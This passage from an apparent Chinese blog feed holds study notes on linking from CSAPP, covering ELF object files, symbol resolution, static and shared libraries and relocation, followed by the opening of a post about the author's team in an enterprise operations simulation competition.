<td>指明输出文件名为file</td>
</tr>
<tr>
<td>-g</td>
<td>打开调试开关,让编译的目标文件有调试信息</td>
</tr>
<tr>
<td>-O0, -O1, -O2, -O3</td>
<td>控制代码优化强度,-O3最强</td>
</tr>
</tbody></table>
<h3 id="举个例子"><a href="#举个例子" class="headerlink" title="举个例子"></a>举个例子</h3><div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="default"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t1/76109/2/16891/41270/634eb075E6fd16631/69483619f038e331.png" data-fancybox="default" data-caption="undefined"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t1/76109/2/16891/41270/634eb075E6fd16631/69483619f038e331.png" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t1/76109/2/16891/41270/634eb075E6fd16631/69483619f038e331.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></a><span></span></div></div>
<p>要通过上图源程序一步步构造成一个完全链接的可执行目标文件,需要以下几步:</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="default"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t1/142246/13/30131/62256/634eb089Ea60c594d/79eeb7a61ab032f2.png" data-fancybox="default" data-caption="undefined"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t1/142246/13/30131/62256/634eb089Ea60c594d/79eeb7a61ab032f2.png" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t1/142246/13/30131/62256/634eb089Ea60c594d/79eeb7a61ab032f2.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></a><span></span></div></div>
<p>每一步对应如下代码:</p>
<figure class="highlight shell"><table><tbody><tr><td class="code"><pre><span class="line">gcc -E -o main.i main.c # 预处理</span><br><span class="line">gcc -S -o main.s main.i # 编译</span><br><span class="line">as -o main.o main.s # 汇编</span><br><span class="line">ld -static -o prog main.o sum.o # 链接</span><br></pre></td></tr></tbody></table></figure>
<h2 id="可重定位目标文件"><a href="#可重定位目标文件" class="headerlink" title="可重定位目标文件"></a>可重定位目标文件</h2><p>如图所示是典型的ELF可重定位目标文件的格式。</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="default"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t1/184795/25/30489/21855/634eb0a2E49b23fa0/c1b61a8b596a78eb.png" data-fancybox="default" data-caption="undefined"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t1/184795/25/30489/21855/634eb0a2E49b23fa0/c1b61a8b596a78eb.png" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t1/184795/25/30489/21855/634eb0a2E49b23fa0/c1b61a8b596a78eb.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></a><span></span></div></div>
<p>ELF:Executable and Linkable Format(可执行可链接格式)</p>
<p>ELF头以一个16字节的序列开始,前四个字节被称为魔数,用来确认文件类型;第5个字节表示ELF文件类型:0x1代表32位,0x2代表64位;第6个字节表示字节序:0x1代表小端法,0x2代表大端法;第7个字表示ELF的版本号,通常都是0x1;剩余的字节填充为0。ELF头剩下的部分包含帮助链接器语法分析和解释目标文件的信息。</p>
<p>夹在ELF头和节头部表之间的都是节。较为重要的节如下:</p>
<table>
<thead>
<tr>
<th>名称</th>
<th>内容</th>
<th>备注</th>
</tr>
</thead>
<tbody><tr>
<td>.text</td>
<td>已编译程序的机器代码</td>
<td></td>
</tr>
<tr>
<td>.rodata</td>
<td>read-only data。比如printf语句中的格式串</td>
<td></td>
</tr>
<tr>
<td>.data</td>
<td>已初始化的全局和静态变量</td>
<td>局部变量不在.data也不在.bss,保存在栈中</td>
</tr>
<tr>
<td>.bss</td>
<td>未初始化以及初始化为0的的全局和静态变量</td>
<td>不占据空间,仅是占位符</td>
</tr>
<tr>
<td>.symtab</td>
<td><strong>符号表</strong>,包含在程序中定义和引用的函数和全局变量的信息</td>
<td></td>
</tr>
<tr>
<td>.rel.text</td>
<td>机器代码的重定位信息</td>
<td></td>
</tr>
<tr>
<td>.rel.data</td>
<td>被模块引用或定义的所有全局变量的重定位信息</td>
<td></td>
</tr>
</tbody></table>
<h2 id="符号和符号表"><a href="#符号和符号表" class="headerlink" title="符号和符号表"></a>符号和符号表</h2><p>链接过程的本质就是将不同的目标文件粘合在一起,而<strong>符号</strong>则可以看作是链接过程的<strong>粘合剂</strong>。</p>
<p>下图为ELF符号表的条目:</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="default"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t1/123535/26/31854/52567/634eb0b6E44532b10/c30e083900f405ad.png" data-fancybox="default" data-caption="undefined"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t1/123535/26/31854/52567/634eb0b6E44532b10/c30e083900f405ad.png" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t1/123535/26/31854/52567/634eb0b6E44532b10/c30e083900f405ad.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></a><span></span></div></div>
<p>在使用<code>readelf -s main.o</code>命令查看<code>main.o</code>程序的符号表时,要注意section字段有3个特殊的伪节:</p>
<table>
<thead>
<tr>
<th>名称</th>
<th>含义</th>
</tr>
</thead>
<tbody><tr>
<td>ABS</td>
<td>代表不被重定位的符号</td>
</tr>
<tr>
<td>UNDEF</td>
<td>代表未定义的符号,即在本目标模块中引用、在别处定义的符号</td>
</tr>
<tr>
<td>COMMON</td>
<td>表示还未被分配位置的未初始化的数据目标</td>
</tr>
</tbody></table>
<p><strong>注意:只有可重定位目标文件中才有这些伪节,可执行目标文件中没有。</strong></p>
<p><code>COMMON</code>和<code>.bss</code>的区别:</p>
<ul>
<li>COMMON: 未初始化的全局变量</li>
<li>.bss: 未初始化的静态变量,以及初始化为0的全局或静态变量</li>
</ul>
<h2 id="符号解析与静态库"><a href="#符号解析与静态库" class="headerlink" title="符号解析与静态库"></a>符号解析与静态库</h2><h3 id="符号解析"><a href="#符号解析" class="headerlink" title="符号解析"></a>符号解析</h3><blockquote>
<p>链接器解析符号引用的方法是将每个引用与它的可重定位目标文件的符号表中的一个确定的符号定义关联起来。</p>
</blockquote>
<p>换言之,一个符号至少要对应一个定义,无论两者是在同一模块还是不同模块。(每个模块中每个局部符号只有一个定义,全局符号引用解析的情况较为复杂,因为多个目标文件可能会定义相同名字的全局符号)</p>
<ul>
<li>强符号:函数和已初始化的全局变量</li>
<li>弱符号:未初始化的全局变量</li>
</ul>
<p>编译器解析多重定义的全局符号有以下三条规则:</p>
<ul>
<li>不允许有多个同名的强符号</li>
<li>如果有一个强符号和多个弱符号同名,那么选择强符号</li>
<li>如果有多个弱符号同名,那么从这些弱符号中任意选择一个</li>
</ul>
<p>规则2和规则3常常引发一些不易察觉的错误。为了避免此类错误,可以在编译时添加<code>-fno-common</code>选项,该选项会使得链接器在 遇到多重定义的全局符号时触发一个错误;或者添加<code>-Werror</code>选项,该选项会把所有的警告变成错误。</p>
<h3 id="静态库"><a href="#静态库" class="headerlink" title="静态库"></a>静态库</h3><blockquote>
<p>所有的编译系统都提供一种机制,将所有相关的目标模块打包成为一个单独的文件,称为<em>静态库</em>。</p>
</blockquote>
<p>静态库文件,又称存档(archive)文件。</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="default"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t1/42837/29/19545/50720/634eb0c9E57c7e8c2/0be30553100a194f.png" data-fancybox="default" data-caption="undefined"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t1/42837/29/19545/50720/634eb0c9E57c7e8c2/0be30553100a194f.png" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t1/42837/29/19545/50720/634eb0c9E57c7e8c2/0be30553100a194f.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></a><span></span></div></div>
<p>将上图<code>addvec.c</code>和<code>multvec.c</code>构造成一个静态库:</p>
<figure class="highlight shell"><table><tbody><tr><td class="code"><pre><span class="line">gcc -c addvec.c multvec.c</span><br><span class="line">ar rcs libvector.a addvec.o multvec.o</span><br></pre></td></tr></tbody></table></figure>
<p>第一行代码得到两个目标文件<code>addvec.o</code>和<code>multvec.o</code>,再输入第二行代码就构造了一个名为<code>libvector.a</code>的静态库。下图程序可以调用这个静态库,其中<code>vector.h</code>定义了这个静态库<code>libvector.a</code>中的函数原型。</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="default"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t1/117145/22/27855/34784/634eb0e0E3d0261d7/182c27ba6baa5f96.png" data-fancybox="default" data-caption="undefined"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t1/117145/22/27855/34784/634eb0e0E3d0261d7/182c27ba6baa5f96.png" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t1/117145/22/27855/34784/634eb0e0E3d0261d7/182c27ba6baa5f96.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></a><span></span></div></div>
<figure class="highlight plaintext"><table><tbody><tr><td class="code"><pre><span class="line">gcc -c main2.c</span><br><span class="line">gcc -static -o prog2c main2.o ./libvector.a</span><br></pre></td></tr></tbody></table></figure>
<p>上述代码将源文件<code>main2.c</code>编译为目标文件<code>main2.o</code>,然后链接目标文件<code>main2.o</code>和静态库文件<code>libvector.a</code>,创建了可执行文件<code>prog2c</code>。过程如下图所示:</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="default"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t1/180883/3/29609/31469/634eb0f3E7f54c3c6/3a4b78237d55960f.png" data-fancybox="default" data-caption="undefined"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t1/180883/3/29609/31469/634eb0f3E7f54c3c6/3a4b78237d55960f.png" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t1/180883/3/29609/31469/634eb0f3E7f54c3c6/3a4b78237d55960f.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></a><span></span></div></div>
<p>由于链接器判定<code>main2.o</code>只引用了<code>libvector.a</code>中<code>addvec.o</code>的<code>addvec</code>符号,因此只复制<code>addvec.o</code>到可执行文件,而不复制<code>multvec.o</code>。</p>
<h2 id="静态库的解析过程"><a href="#静态库的解析过程" class="headerlink" title="静态库的解析过程"></a>静态库的解析过程</h2><figure class="highlight shell"><table><tbody><tr><td class="code"><pre><span class="line">gcc -static -o prog2c main2.o ./libvector.a</span><br></pre></td></tr></tbody></table></figure>
<p>上一节中使用上式链接源文件和静态库,其中涉及到利用静态库解析符号引用。具体过程如下:<br>链接器维护3个集合,分别为:</p>
<ul>
<li>E,输入的可重定位目标文件集合</li>
<li>U,引用了但是尚未定义的符号的集合</li>
<li>D,已定义的符号的集合</li>
</ul>
<p>链接器从左到右扫描可重定位目标文件和存档(静态库)文件,因此首先输入可重定位目标文件<code>main.o</code>。<code>main.o</code>进入集合E;<code>addvec</code>和<code>printf</code>符号没有在<code>main.o</code>中被定义,因此进入集合U;剩余的进入集合D。</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="default"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t1/137035/34/30540/11879/634eb107Ec3451ebf/e4d5ce4801b024aa.png" data-fancybox="default" data-caption="undefined"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t1/137035/34/30540/11879/634eb107Ec3451ebf/e4d5ce4801b024aa.png" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t1/137035/34/30540/11879/634eb107Ec3451ebf/e4d5ce4801b024aa.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></a><span></span></div></div>
<p>接着,继续扫描到存档文件<code>libvector.a</code>,存档文件不进入集合E。链接器尝试匹配U中未解析的符号和由存档文件成员定义的符号,链接器发现<code>libvector.a</code>的成员<code>addvec.o</code>中存在符号<code>addvec</code>的定义,因此将<code>addvec.o</code>加入集合E,并将<code>addvec</code>从集合U中删除,另外<code>addvec.o</code>中定义的其他符号,即<code>addcnt</code>会被加入到集合D中。对静态库中每个成员目标文件都会进行上述过程,此例中另一个成员<code>multvec.o</code>没有定义U中的符号,因此集合U和D不发生变化,链接器继续处理下一个输入的文件。</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="default"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t1/84793/31/32090/14156/634eb11aEa0f464bb/5086625a8e174b73.png" data-fancybox="default" data-caption="undefined"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t1/84793/31/32090/14156/634eb11aEa0f464bb/5086625a8e174b73.png" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t1/84793/31/32090/14156/634eb11aEa0f464bb/5086625a8e174b73.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></a><span></span></div></div>
<p>上面的代码实际上隐式执行了对静态库<code>libc.a</code>的链接,实际上会输入<code>libc.a</code>,执行上述过程后集合情况如下:</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="default"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t1/142608/8/30688/15262/634eb130E8f48a70f/36122f4a6c8b3702.png" data-fancybox="default" data-caption="undefined"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t1/142608/8/30688/15262/634eb130E8f48a70f/36122f4a6c8b3702.png" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t1/142608/8/30688/15262/634eb130E8f48a70f/36122f4a6c8b3702.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></a><span></span></div></div>
<p>此时集合U为空,说明没有未定义的符号,链接器将合并和重定位E中的目标文件,构造可执行目标文件。若集合U非空,则说明有未定义的符号,链接器将输出一个错误并终止。</p>
<p>这个过程也解释了命令行输入文件的顺序的重要性,例如将<code>main2.o</code>与<code>./libvector.a</code>互换位置,由于输入<code>libvector</code>时集合U为空,因此<code>addvec.o</code>不会被加入集合E,因此最后集合U中会存在未定义符号<code>addvec</code>,从而导致错误。</p>
<h2 id="重定位"><a href="#重定位" class="headerlink" title="重定位"></a>重定位</h2><p>在上一节中链接器确定了一个集合E,即要合并的目标文件,接下来就需要进行重定位操作。重定位分为两步:</p>
<ul>
<li>重定位节和符号定义</li>
<li>重定位节中的符号引用</li>
</ul>
<h3 id="重定位节和符号引用"><a href="#重定位节和符号引用" class="headerlink" title="重定位节和符号引用"></a>重定位节和符号引用</h3><p>示意图如下:</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="default"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t1/109149/18/33792/129136/634eb140Ee566b95b/3fb59d157863377d.png" data-fancybox="default" data-caption="undefined"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t1/109149/18/33792/129136/634eb140Ee566b95b/3fb59d157863377d.png" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t1/109149/18/33792/129136/634eb140Ee566b95b/3fb59d157863377d.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></a><span></span></div></div>
<p>这一步完成后,程序中每条指令和全局变量都有唯一的运行时内存地址了。</p>
<h3 id="重定位节中的符号引用"><a href="#重定位节中的符号引用" class="headerlink" title="重定位节中的符号引用"></a>重定位节中的符号引用</h3><p>这一步依赖重定位条目,对于代码的重定位条目位于<code>.rel.text</code>,对于已初始化数据的重定位条目位于<code>.rel.data</code>。</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="default"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t1/176914/15/29848/39627/634eb153E0acab51a/3b9cf273cfe87685.png" data-fancybox="default" data-caption="undefined"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t1/176914/15/29848/39627/634eb153E0acab51a/3b9cf273cfe87685.png" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t1/176914/15/29848/39627/634eb153E0acab51a/3b9cf273cfe87685.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></a><span></span></div></div>
<p>上图展示了ELF重定位条目的结构体定义。其中<code>type</code>(重定位类型)有32种,需要知道的有两种:</p>
<ul>
<li>R_X86_64_PC32(PC相对地址,PC值通常是下一条指令在内存中的地址)</li>
<li>R_X86_64_32(绝对地址)</li>
</ul>
<p>关于重定位的计算,可以参考<a href="https://www.bilibili.com/video/BV1JL411L7ku/?spm_id_from=333.788&vd_source=4e92f73cbc9617a81ba285264ffa8b21">【CSAPP-深入理解计算机系统】7-6. 重定位_哔哩哔哩_bilibili</a></p>
<h2 id="可执行目标文件"><a href="#可执行目标文件" class="headerlink" title="可执行目标文件"></a>可执行目标文件</h2><div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="default"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t1/10827/33/20034/40188/634eb167Ea13401e6/34b8bff6aa404b53.png" data-fancybox="default" data-caption="undefined"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t1/10827/33/20034/40188/634eb167Ea13401e6/34b8bff6aa404b53.png" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t1/10827/33/20034/40188/634eb167Ea13401e6/34b8bff6aa404b53.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></a><span></span></div></div>
<p>如图所示为典型的ELF可执行目标文件<br>ELF可执行文件的连续的片被映射到连续的内存段,程序头部表描述了这种映射关系。</p>
<p>将程序从磁盘复制到内存的过程叫做<strong>加载</strong>。加载器运行时,创建内存映像,在程序头部表的引导下,加载器将可执行文件的片复制到代码段和数据段,然后加载器跳转到程序的入口点。</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="default"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t1/195189/4/28443/67990/634eb179E21703543/6728719e0f45347c.png" data-fancybox="default" data-caption="undefined"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t1/195189/4/28443/67990/634eb179E21703543/6728719e0f45347c.png" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t1/195189/4/28443/67990/634eb179E21703543/6728719e0f45347c.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></a><span></span></div></div>
<p>如图所示为Linux x86-64运行时的内存映像。</p>
<h2 id="动态链接共享库"><a href="#动态链接共享库" class="headerlink" title="动态链接共享库"></a>动态链接共享库</h2><blockquote>
<p><em>共享库</em>是一个目标模块,在运行或加载时,可以加载到任意的内存地址,并和一个在内存中的程序链接起来。这个过程称为<em>动态链接</em>,是由一个叫做<em>动态链接器</em>的程序来执行的。</p>
</blockquote>
<p>构造共享库的方式与构造静态库的方式很相似,只需将构造静态库的代码修改为:</p>
<figure class="highlight shell"><table><tbody><tr><td class="code"><pre><span class="line">gcc -shared -fpic -o libvector.so addvec.c multvec.c</span><br></pre></td></tr></tbody></table></figure>
<p>动态链接共享库的过程如图所示:</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="default"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t1/203281/17/28336/42024/634eb18dE02711f7a/01a276920d6d2f65.png" data-fancybox="default" data-caption="undefined"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t1/203281/17/28336/42024/634eb18dE02711f7a/01a276920d6d2f65.png" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t1/203281/17/28336/42024/634eb18dE02711f7a/01a276920d6d2f65.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></a><span></span></div></div>
<p>此外,还可以从应用程序中加载和链接共享库。</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="default"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t1/20079/10/18954/19705/634eb1aaEc8843c5a/ce326ca458cd49a0.png" data-fancybox="default" data-caption="undefined"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t1/20079/10/18954/19705/634eb1aaEc8843c5a/ce326ca458cd49a0.png" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t1/20079/10/18954/19705/634eb1aaEc8843c5a/ce326ca458cd49a0.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></a><span></span></div></div>
<p><code>dlopen</code>函数加载和链接共享库<code>filename</code></p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="default"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t1/92289/7/22938/20139/634eb1beE46641a0d/172d988c21f67e68.png" data-fancybox="default" data-caption="undefined"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t1/92289/7/22938/20139/634eb1beE46641a0d/172d988c21f67e68.png" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t1/92289/7/22938/20139/634eb1beE46641a0d/172d988c21f67e68.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></a><span></span></div></div>
<p><code>dlsym</code>函数返回输入符号的地址</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="default"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t1/147888/5/30474/15813/634eb1d1E8782e8a7/a0dead929423729e.png" data-fancybox="default" data-caption="undefined"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t1/147888/5/30474/15813/634eb1d1E8782e8a7/a0dead929423729e.png" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t1/147888/5/30474/15813/634eb1d1E8782e8a7/a0dead929423729e.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></a><span></span></div></div>
<p>如果没有其他共享库还在使用该共享库,<code>dlclose</code>函数就卸载该共享库</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="default"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://kjimg10.360buyimg.com/ott/jfs/t1/129870/32/29744/23258/634eb1e1E2a7c5ed3/02a68599e69c7024.png" data-fancybox="default" data-caption="undefined"><img fancybox="" itemprop="contentUrl" src="https://kjimg10.360buyimg.com/ott/jfs/t1/129870/32/29744/23258/634eb1e1E2a7c5ed3/02a68599e69c7024.png" class="lazyload" data-srcset="https://kjimg10.360buyimg.com/ott/jfs/t1/129870/32/29744/23258/634eb1e1E2a7c5ed3/02a68599e69c7024.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></a><span></span></div></div>
<p><code>dlerror</code>函数返回<code>dlopen</code>、<code>dlsym</code>或<code>dlclose</code>函数的错误信息。</p>
<h3 id="库打桩机制"><a href="#库打桩机制" class="headerlink" title="*库打桩机制"></a>*库打桩机制</h3><p>作用:截获对共享库函数的调用,用其他代码取代</p>
<ul>
<li>编译时打桩</li>
<li>链接时打桩</li>
<li>运行时打桩</li>
</ul>
]]></content>
<categories>
<category>阅读笔记</category>
</categories>
<tags>
<tag>CSAPP</tag>
<tag>系统</tag>
</tags>
</entry>
<entry>
<title>EOVS——企业运营仿真赛参赛记录</title>
<url>/posts/eovs/</url>
<content><![CDATA[<p>去年12月中旬随队参加了第十二届上海市大学生工程实践与创新能力大赛——企业运营仿真赛项,获得了特等奖,也是我在乏善可陈的大学生活中拿到的第一个市级奖项。前段时间忙于“补天”(预习期末科目)没有更新,2023的第一篇文章就从这项比赛着笔吧。<span id="more"></span></p>
<h2 id="什么是EOVS?"><a href="#什么是EOVS?" class="headerlink" title="什么是EOVS?"></a>什么是EOVS?</h2><p>EOVS,又称企业运营仿真赛,是商赛的一种。竞赛内容引用<a href="http://sx.qyyyfz.com/introduction.jsp">原文</a>:</p>
<blockquote>
<p>参赛队员组建经营团队,每个团队分设总经理、财务总监、生产总监、营销总监4个岗位,需要创建一家生产制造型企业,模拟该企业两年八个季度的经营过程。涉及公司创建、材料采购、生产运营、市场营销、财务管理等相关企业经营活动。在企业运营过程中,竞赛团队应充分考虑企业的外部环境和企业内部运营状况,结合竞争对手情况,制定科学合理的企业运营策略,管理企业运营风险,实现企业利润最大化。</p>
</blockquote>
<p>该赛项的组织机构是在<code>教育部工程训练竞赛组委会</code>领导下成立的<code>企业运营仿真赛项组委会</code>。不难看出,赛事的含金量远比不上著名的贝恩杯、奥纬杯、华为财务精英挑战赛等,但在全国范围内还是有一定热度的。另外,引用<a href="http://www.gcxl.edu.cn/new/index.html">中国大学生工程实践与创新能力大赛官网</a>:</p>
<blockquote>
<p>中国大学生工程实践与创新能力大赛是列入《教育部评审评估和竞赛清单(2021年版)》(教政法厅函(2021)2号)的重要赛事。</p>
</blockquote>
<p>亦即是说这是一项被教育部认可的比赛。抛开功利去谈这项比赛的话,我更愿意称其为一款游戏,一款模拟经营类游戏、倾向于协作的团队游戏。打完一局标准、完整的比赛大概需要4-5个小时,每一次打训练赛都像是酣畅淋漓地玩了一场烧脑的策略游戏。</p>
<h2 id="为什么会参加EOVS?"><a href="#为什么会参加EOVS?" class="headerlink" title="为什么会参加EOVS?"></a>为什么会参加EOVS?</h2><p>众所周知,我是打工人工科生,商赛的名头对我来说没什么吸引力。大一上学期时(2021年秋)认识了个朋友,挺社牛的,拉着我参加企业运营仿真赛的校内赛。当时挺闲的,再加上第一名的队伍有1000元奖金(平摊下来每个人250……,奇怪的数字,但是用来好好吃一顿不香吗),就一起报名参加了。</p>
